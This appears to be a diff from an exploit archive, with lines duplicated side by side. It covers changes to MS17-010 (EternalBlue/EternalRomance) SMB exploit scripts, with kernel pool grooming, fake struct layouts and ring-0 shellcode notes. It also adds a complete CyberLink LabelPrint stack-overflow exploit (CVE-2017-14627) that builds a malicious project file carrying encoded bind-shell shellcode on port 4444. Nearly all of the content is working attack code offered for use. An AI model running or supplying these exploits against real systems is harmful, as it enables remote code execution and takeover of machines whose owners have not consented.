send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress) send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
recvPkt = nxconn.recvSMB() recvPkt = nxconn.recvSMB()
retStatus = recvPkt.getNTStatus() retStatus = recvPkt.getNTStatus()
@ -475,7 +521,7 @@ def exploit(target, shellcode, numGroomConn):
sk.send('\x00') sk.send('\x00')
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# second trigger to place fake struct and shellcode # second trigger, place fake struct and shellcode
send_trans2_second(conn, tid, feaList[progress:], progress) send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB() recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus() retStatus = recvPkt.getNTStatus()
@ -513,8 +559,8 @@ fp = open(sys.argv[2], 'rb')
sc = fp.read() sc = fp.read()
fp.close() fp.close()
if len(sc) > 4096: if len(sc) > 0xe80:
print('Shellcode too long. The place that this exploit put a shellcode is limited to 4096 bytes.') print('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80))
sys.exit() sys.exit()
# Now, shellcode is known. create a feaList # Now, shellcode is known. create a feaList

View file

@ -1,7 +1,6 @@
#!/usr/bin/python #!/usr/bin/python
from impacket import smb from impacket import smb
from struct import pack from struct import pack
import os
import sys import sys
import socket import socket
@ -11,43 +10,20 @@ The exploit might FAIL and CRASH a target system (depended on what is overwritte
Tested on: Tested on:
- Windows 7 SP1 x64 - Windows 7 SP1 x64
- Windows 2008 R2 x64 - Windows 2008 R2 SP1 x64
- Windows 7 SP1 x86
- Windows 2008 SP1 x64
- Windows 2008 SP1 x86
Reference: Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ - http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
Bug detail: Bug detail:
- For the bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ - For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- You can see SrvOs2FeaListToNt(), SrvOs2FeaListSizeToNt() and SrvOs2FeaToNt() functions logic from WinNT4 source code - The exploit also use other 2 bugs (see details in BUG.txt)
https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/ea.c#L263 - Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug)
- In vulnerable SrvOs2FeaListSizeToNt() function, there is a important change from WinNT4 in for loop. The psuedo code is here. - Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole)
if (nextFea > lastFeaStartLocation) {
// this code is for shrinking FeaList->cbList because last fea is invalid.
// FeaList->cbList is DWORD but it is cast to WORD.
*(WORD *)FeaList = (BYTE*)fea - (BYTE*)FeaList;
return size;
}
- Here is related struct info.
#####
typedef struct _FEA { /* fea */
BYTE fEA; /* flags */
BYTE cbName; /* name length not including NULL */
USHORT cbValue; /* value length */
} FEA, *PFEA;
typedef struct _FEALIST { /* feal */
DWORD cbList; /* total bytes of structure including full list */
FEA list[1]; /* variable length FEA structures */
} FEALIST, *PFEALIST;
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
###### ######
@ -68,7 +44,7 @@ srvnet buffer info:
- Controlling pointer to fake struct results in code execution because there is pointer to function - Controlling pointer to fake struct results in code execution because there is pointer to function
- A srvnet buffer is created after target receiving first 4 bytes - A srvnet buffer is created after target receiving first 4 bytes
- First 4 bytes contains length of SMB message - First 4 bytes contains length of SMB message
- The possible srvnet buffer size is "..., 0x8???, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough. - The possible srvnet buffer size is "..., 0x9000, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough.
- After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message - After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message
- SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler() - SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler()
- SrvNetCommonReceiveHandler() passes SMB message to SMB handler - SrvNetCommonReceiveHandler() passes SMB message to SMB handler
@ -76,8 +52,24 @@ srvnet buffer info:
- If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called - If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called
- Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen. - Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen.
- Memory leak is ok to be ignored - Memory leak is ok to be ignored
Shellcode note:
- Shellcode is executed in kernel mode (ring 0) and IRQL is DISPATCH_LEVEL
- Hijacking system call is common method for getting code execution in Process context (IRQL is PASSIVE_LEVEL)
- On Windows x64, System call target address can be modified by writing to IA32_LSTAR MSR (0xc0000082)
- IA32_LSTAR MSR scope is core/thread/unique depended on CPU model
- On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to
get call because it is called on other processors
- Shellcode should be aware of double overwriting system call target address when using hijacking system call method
- Then, using APC in Process context to get code execution in userland (ring 3)
#E-DB Note: https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a
#E-DB Note: https://github.com/worawit/MS17-010/blob/eafb47d715fe38045c9ea6dc4cb75ca0ef5487ce/eternalblue_exploit7.py
''' '''
# Note: see how to craft FEALIST in eternalblue_poc.py
# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000) # wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)
# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time # the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time
# the size 0x11000 is used in nsa exploit. this size is more reliable. # the size 0x11000 is used in nsa exploit. this size is more reliable.
@ -117,7 +109,7 @@ struct SRVNET_BUFFER {
// offset from SRVNET_POOLHDR: 0x50 // offset from SRVNET_POOLHDR: 0x50
DWORD nbssSize; // size of this smb packet (from user) DWORD nbssSize; // size of this smb packet (from user)
DWORD pad4; DWORD pad4;
QWORD pSrvNetWekStruct; // want to change to fake struct address QWORD pSrvNetWskStruct; // want to change to fake struct address
// offset from SRVNET_POOLHDR: 0x60 // offset from SRVNET_POOLHDR: 0x60
MDL *pMdl2; MDL *pMdl2;
QWORD unknown5; QWORD unknown5;
@ -170,7 +162,7 @@ fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2 fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
fakeSrvNetBufferNsa += '\x00'*16 fakeSrvNetBufferNsa += '\x00'*16
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20) fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0xffffffff, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # x64 pmdl2 fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # x64 pmdl2
# below 0x20 bytes is overwritting MDL # below 0x20 bytes is overwritting MDL
@ -194,7 +186,7 @@ fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Proc
fakeSrvNetBuffer = fakeSrvNetBufferNsa fakeSrvNetBuffer = fakeSrvNetBufferNsa
#fakeSrvNetBuffer = fakeSrvNetBufferX64 #fakeSrvNetBuffer = fakeSrvNetBufferX64
feaList = pack('<I', 0x10000) # the max value of feaList size is 0x10000 (the only value that can trigger bug) feaList = pack('<I', 0x10000) # the value of feaList size MUST be >=0x10000 to trigger bug (but must be less than data size)
feaList += ntfea[NTFEA_SIZE] feaList += ntfea[NTFEA_SIZE]
# Note: # Note:
# - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively # - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively
@ -253,24 +245,30 @@ def sendEcho(conn, tid, data):
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus())) print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
# do not know why Word Count can be 12
# if word count is not 12, setting ByteCount without enough data will be failed
class SMBSessionSetupAndXCustom_Parameters(smb.SMBAndXCommand_Parameters):
structure = (
('MaxBuffer','<H'),
('MaxMpxCount','<H'),
('VCNumber','<H'),
('SessionKey','<L'),
#('AnsiPwdLength','<H'),
('UnicodePwdLength','<H'),
('_reserved','<L=0'),
('Capabilities','<L'),
)
def createSessionAllocNonPaged(target, size): def createSessionAllocNonPaged(target, size):
# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function # There is a bug in SMB_COM_SESSION_SETUP_ANDX command that allow us to allocate a big nonpaged pool.
# You can see the allocation logic (even code is not the same) in WinNT4 source code # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function for storing NativeOS and NativeLanMan.
# https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071 # The NativeOS and NativeLanMan size is caculated from "ByteCount - other_data_size"
# Normally a server validate WordCount and ByteCount field in SrvValidateSmb() function. They must not be larger than received data.
# For "NT LM 0.12" dialect, There are 2 possible packet format for SMB_COM_SESSION_SETUP_ANDX command.
# - https://msdn.microsoft.com/en-us/library/ee441849.aspx for LM and NTLM authentication
# - GetNtSecurityParameters() function is resposible for extracting data from this packet format
# - https://msdn.microsoft.com/en-us/library/cc246328.aspx for NTLMv2 (NTLM SSP) authentication
# - GetExtendSecurityParameters() function is resposible for extracting data from this packet format
# These 2 formats have different WordCount (first one is 13 and later is 12).
# Here is logic in BlockingSessionSetupAndX() related to this bug
# - check WordCount for both formats (the CAP_EXTENDED_SECURITY must be set for extended security format)
# - if FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY are set, process a message as Extend Security request
# - else, process a message as NT Security request
# So we can send one format but server processes it as another format by controlling FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY.
# With this confusion, server read a ByteCount from wrong offset to calculating "NativeOS and NativeLanMan size".
# But GetExtendSecurityParameters() checks ByteCount value again.
# So the only possible request to use the bug is sending Extended Security request but does not set FLAGS2_EXTENDED_SECURITY.
conn = smb.SMB(target, target) conn = smb.SMB(target, target)
_, flags2 = conn.get_flags() _, flags2 = conn.get_flags()
# FLAGS2_EXTENDED_SECURITY MUST not be set # FLAGS2_EXTENDED_SECURITY MUST not be set
@ -287,17 +285,16 @@ def createSessionAllocNonPaged(target, size):
pkt = smb.NewSMBPacket() pkt = smb.NewSMBPacket()
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters() sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Parameters']['MaxBuffer'] = 61440 # can be any value greater than response size sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['AnsiPwdLength'] = 0 sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
sessionSetup['Parameters']['UnicodePwdLength'] = 0 # UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session
sessionSetup['Parameters']['Capabilities'] = 0x80000000 sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags
# set ByteCount here
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20 sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
pkt.addCommand(sessionSetup) pkt.addCommand(sessionSetup)
@ -362,12 +359,36 @@ def send_trans2_second(conn, tid, data, displacement):
conn.sendSMB(pkt) conn.sendSMB(pkt)
def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
# Here is another bug in MS17-010.
# To call transaction subcommand, normally a client need to use correct SMB commands as documented in
# https://msdn.microsoft.com/en-us/library/ee441514.aspx
# If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client
# can use *_SECONDARY command to send transaction message. When sending a transaction completely with
# *_SECONDARY command, a server uses the last command that complete the transaction.
# For example:
# - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*.
# - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*.
#
# Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same.
# For example:
# - a client start transaction with SMB_COM_NT_TRANSACT command
# - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY
# - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY
# - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field)
# From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction
# with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT
# While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount
# field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx).
# Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction)
pkt = smb.NewSMBPacket() pkt = smb.NewSMBPacket()
pkt['Tid'] = tid pkt['Tid'] = tid
command = pack('<H', setup) command = pack('<H', setup)
# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1 transCommand['Parameters']['MaxSetupCount'] = 1
@ -408,8 +429,10 @@ def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLast
conn.sendSMB(pkt) conn.sendSMB(pkt)
conn.recvSMB() # must be success conn.recvSMB() # must be success
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
i = firstDataFragmentSize i = firstDataFragmentSize
while i < len(data): while i < len(data):
# limit data to 4096 bytes per SMB message because this size can be used for all Windows version
sendSize = min(4096, len(data) - i) sendSize = min(4096, len(data) - i)
if len(data) - i <= 4096: if len(data) - i <= 4096:
if not sendLastChunk: if not sendLastChunk:
@ -440,7 +463,7 @@ def createConnectionWithBigSMBFirst80(target):
# There is no need to be SMB2 because we got code execution by corrupted srvnet buffer. # There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.
# Also this is invalid SMB2 message. # Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS # I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xffSMB' # smb2 #pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid # it can be anything even it is invalid
pkt += 'BAAD' # can be any pkt += 'BAAD' # can be any
pkt += '\x00'*0x7c pkt += '\x00'*0x7c
@ -456,27 +479,16 @@ def exploit(target, shellcode, numGroomConn):
conn.login_standard('', '') conn.login_standard('', '')
server_os = conn.get_server_os() server_os = conn.get_server_os()
print('Target OS: '+server_os) print('Target OS: '+server_os)
if not (server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 ")): if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")):
print('This exploit does not support this target') print('This exploit does not support this target')
sys.exit() sys.exit()
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
# Here is code path in WinNT4 (all reference files are relative path to https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/)
# - SrvSmbNtTransaction() (smbtrans.c#L2677)
# - When all data is received, call ExecuteTransaction() at (smbtrans.c#L3113)
# - ExecuteTransaction() (smbtrans.c#L82)
# - Call dispatch table (smbtrans.c#L347)
# - Dispatch table is defined at srvdata.c#L972 (target is command 0, SrvSmbOpen2() function)
# - SrvSmbOpen2() (smbopen.c#L1002)
# - call SrvOs2FeaListToNt() (smbopen.c#L1095)
# https://msdn.microsoft.com/en-us/library/ee441720.aspx # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
# Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
# Note: cannot use SMB_COM_TRANSACTION2 for the exploit because the TotalDataCount field is USHORT progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)
# Note: transaction max data count is 66512 (0x103d0) and DataDisplacement is USHORT
progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, 2000, False)
# we have to know what size of NtFeaList will be created when last fragment is sent # we have to know what size of NtFeaList will be created when last fragment is sent
# make sure server recv all payload before starting allocate big NonPaged # make sure server recv all payload before starting allocate big NonPaged

154
platforms/windows/local/42777.py Executable file
View file

@ -0,0 +1,154 @@
#!/usr/bin/python
# Exploit Title: CyberLink LabelPrint <=2.5 File Project Processing Unicode Stack Overflow
# Date: September 23, 2017
# Exploit Author: f3ci
# Vendor Homepage: https://www.cyberlink.com/
# Software Link: http://update.cyberlink.com/Retail/Power2Go/DL/TR170323-021/CyberLink_Power2Go_Downloader.exe
# Version: 2.5
# Tested on: Windows 7x86, Windows8.1x64, Windows 10
# CVE : CVE-2017-14627
#
# Note: Cyberlink LabelPrint is bundled with Power2Go application and also included in most HP, Lenovo, and Asus laptops.
# this proof of concept is based on the LabelPrint 2.5 that comes with Power2Go installation.
def exp():
header = ("\x3c\x50\x52\x4f\x4a\x45\x43\x54\x20\x76\x65\x72\x73\x69\x6f\x6e"
"\x3d\x22\x31\x2e\x30\x2e\x30\x30\x22\x3e\x0a\x09\x3c\x49\x4e\x46"
"\x4f\x52\x4d\x41\x54\x49\x4f\x4e\x20\x74\x69\x74\x6c\x65\x3d\x22"
"\x22\x20\x61\x75\x74\x68\x6f\x72\x3d\x22\x22\x20\x64\x61\x74\x65"
"\x3d\x22\x37\x2f\x32\x34\x2f\x32\x30\x31\x37\x22\x20\x53\x79\x73"
"\x74\x65\x6d\x54\x69\x6d\x65\x3d\x22\x32\x34\x2f\x30\x37\x2f\x32"
"\x30\x31\x37\x22\x3e")
filename2 = "labelprint_poc_universal.lpp"
f = open(filename2,'w')
junk = "A" * 790
nseh = "\x61\x42"
seh = "\x2c\x44"
nop = "\x42"
#msfvenom -p windows/shell_bind_tcp LPORT=4444 -e x86/unicode_mixed BufferRegister=EAX -f python
buf = ""
buf += "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQ"
buf += "AIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYA"
buf += "ZBABABABABkMAGB9u4JBkL7x52KPYpM0aPqyHeMa5pbDtKNpNPBk"
buf += "QBjlTKaBkd4KD2mXzo87pJlfNQ9ovLOLs1cLIrnLMPGQfoZmyqI7"
buf += "GrZRobnwRk1Bn0bknjOLDKPLkaQhGsNhzawaOa4KaIO0M1XSbka9"
buf += "lXISmja9Rkp4TKM1FvMaYofLfaXOjmYqUw08wp0uJVJcqmYhmk3M"
buf += "o4rUk41HTK28NDjaFsrFRklLPK4KaHklzaICTKytbkM1VpSYa4nD"
buf += "NDOkaKaQ291JoaIoWpqOaOQJtKN2HkTMOmOxOCOBIpm0C8CGT3oB"
buf += "OopTC80L2WNFzgyoz5Txf0ZaYpm0kyfdB4np38kycPpkypIoiEPj"
buf += "kXqInp8bKMmpr010pPC8YZjoiOK0yohU67PhLBypjq1L3YzF1ZLP"
buf += "aFaGPh7R9KoGBGKO8U271XEg8iOHIoiohUaGrH3DJLOK7qIo9EPW"
buf += "eG1XBU0nnmc1YoYEC81SrMs4ip4IyS27ogaGnQjVaZn2B9b6jBkM"
buf += "S6I7oTMTMliqkQ2m14nDN0UvKPndb4r0of1FNv0Fr6nn0VR6B31F"
buf += "BH49FlmoTFyoIEbi9P0NPVq6YolpaXjhsWmMc0YoVuGKHpEe3rnv"
buf += "QXVFce5mcmkOiEMlKV1lLJ3Pyk9PT5m5GKoWZsSBRO2JypPSYoxUAA"
#preparing address for decoding
ven = nop #nop/inc edx
ven += "\x54" #push esp
ven += nop #nop/inc edx
ven += "\x58" #pop eax
ven += nop #nop/inc edx
ven += "\x05\x1B\x01" #add eax 01001B00 universal
ven += nop #nop/inc edx
ven += "\x2d\x01\x01" #sub eax 01001000
ven += nop #nop/inc edx
ven += "\x50" #push eax
ven += nop #nop/inc edx
ven += "\x5c" #pop esp
#we need to encode the RET address, since C3 is bad char.
#preparing ret opcode
ven += nop #nop/inc edx
ven += "\x25\x7e\x7e" #and eax,7e007e00
ven += nop #nop/inc edx
ven += "\x25\x01\x01" #and eax,01000100
ven += nop #nop/inc edx
ven += "\x35\x7f\x7f" #xor eax,7f007f00
ven += nop #nop/inc edx
ven += "\x05\x44\x44" #add eax,44004400
ven += nop #nop/inc edx
ven += "\x57" #push edi
ven += nop #nop/inc edx
ven += "\x50" #push eax
ven += junk2 #depending OS
#custom venetian
ven += "\x58" #pop eax
ven += nop #nop/inc edx
ven += "\x58" #pop eax
ven += nop #nop/inc edx
ven += align #depending OS
ven += nop #nop/inc edx
ven += "\x2d\x01\x01" #add eax, 01000100 #align eax to our buffer
ven += nop #nop/inc edx
ven += "\x50" #push eax
ven += nop #nop/inc edx
#call esp 0x7c32537b MFC71U.dll
ven += "\x5C" #pop esp
ven += nop #nop/inc edx
ven += "\x58" #pop eax
ven += nop #nop/inc edx
ven += "\x05\x53\x7c" #add eax 7c005300 part of call esp
ven += nop #nop/inc edx
ven += "\x50" #push eax
ven += junk1 #depending OS
ven += "\x7b\x32" #part of call esp
#preparing for shellcode
ven += nop * 114 #junk
ven += "\x57" #push edi
ven += nop #nop/inc edx
ven += "\x58" #pop eax
ven += nop #nop/inc edx
ven += align2 #depending OS
ven += nop #nop/inc edx
ven += "\x2d\x01\x01" #sub eax,01000100
ven += nop #nop/inc edx
ven += buf #shellcode
sisa = nop * (15000-len(junk+nseh+seh+ven))
payload = junk+nseh+seh+ven+sisa
bug="\x09\x09\x3c\x54\x52\x41\x43\x4b\x20\x6e\x61\x6d\x65\x3d"+'"'+payload+'"'+"/>\n"
bug+=("\x09\x3c\x2f\x49\x4e\x46\x4f\x52\x4d\x41\x54\x49\x4f\x4e\x3e\x0a"
"\x3c\x2f\x50\x52\x4f\x4a\x45\x43\x54\x3e")
f.write(header+ "\n" + bug)
print "[+] File", filename2, "successfully created!"
print "[*] Now open project file", filename2, "with CyberLink LabelPrint."
print "[*] Good luck ;)"
f.close()
print "[*] <--CyberLink LabelPrint <=2.5 Stack Overflow POC-->"
print "[*] by f3ci & modpr0be <research[at]spentera.id>"
print "[*] <------------------------------------------------->\n"
print "\t1.Windows 7 x86 bindshell on port 4444"
print "\t2.Windows 8.1 x64 bindshell on port 4444"
print "\t3.Windows 10 x64 bindshell on port 4444\n"
input = input("Choose Target OS : ")
try:
if input == 1:
align = "\x05\x09\x01" #add eax,01000400
align2 = "\x05\x0A\x01" #add eax, 01000900
junk1 = '\x42' * 68 #junk for win7x86
junk2 = '\x42' * 893 #junk for win7x86
exp()
elif input == 2:
align = "\x05\x09\x01" #add eax,01000400
align2 = "\x05\x0A\x01" #add eax, 01000900
junk1 = '\x42' * 116 #junk for win8.1x64
junk2 = '\x42' * 845 #junk for win8.1x64
exp()
elif input == 3:
align = "\x05\x05\x01" #add eax,01000400
align2 = "\x05\x06\x01" #add eax, 01000900
junk1 = '\x42' * 136 #junk for win10x64
junk2 = '\x42' * 313 #junk for win10x64
exp()
else:
print "Choose the right one :)"
except:
print ""

View file

@ -7,7 +7,7 @@ import socket
import time import time
''' '''
MS17-010 exploit for Windows 7+ by sleepya MS17-010 exploit for Windows 2000 and later by sleepya
Note: Note:
- The exploit should never crash a target (chance should be nearly 0%) - The exploit should never crash a target (chance should be nearly 0%)
@ -15,17 +15,46 @@ Note:
Tested on: Tested on:
- Windows 2016 x64 - Windows 2016 x64
- Windows 10 Pro Build 10240 x64
- Windows 2012 R2 x64 - Windows 2012 R2 x64
- Windows 8.1 x64 - Windows 8.1 x64
- Windows 2008 R2 SP1 x64 - Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64 - Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
- Windows 8.1 x86 - Windows 8.1 x86
- Windows 7 SP1 x86 - Windows 7 SP1 x86
- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86
''' '''
USERNAME = '' USERNAME = ''
PASSWORD = '' PASSWORD = ''
'''
A transaction with empty setup:
- it is allocated from paged pool (same as other transaction types) on Windows 7 and later
- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
- no lookaside or caching method for allocating it
Note: method name is from NSA eternalromance
For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later.
For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size
smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But
a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server).
Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment
in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback
of this method is we cannot do information leak to verify transactions alignment before OOB write.
So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier.
'''
''' '''
Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext() Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
win7 x64 win7 x64
@ -57,23 +86,27 @@ struct SrvSecContext {
BOOLEAN UsePsImpersonateClient; // 0x30 BOOLEAN UsePsImpersonateClient; // 0x30
} }
SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user. SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL, From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
STATUS_SUCCESS when Token is NULL. STATUS_SUCCESS when Token is NULL.
If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM) If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
to do all SMB operations. to do all SMB operations.
Note: fake Token might be possible, but NULL token is much easier. Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only
ImpersonateSecurityContext() is used in these Windows versions.
''' '''
WIN7_INFO = { ###########################
# info for modify session security context
###########################
WIN7_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0xa0, 'SESSION_SECCTX_OFFSET': 0xa0,
'SESSION_ISNULL_OFFSET': 0xba, 'SESSION_ISNULL_OFFSET': 0xba,
'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1), 'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x28, 'SECCTX_SIZE': 0x28,
} }
WIN7_32_INFO = { WIN7_32_SESSION_INFO = {
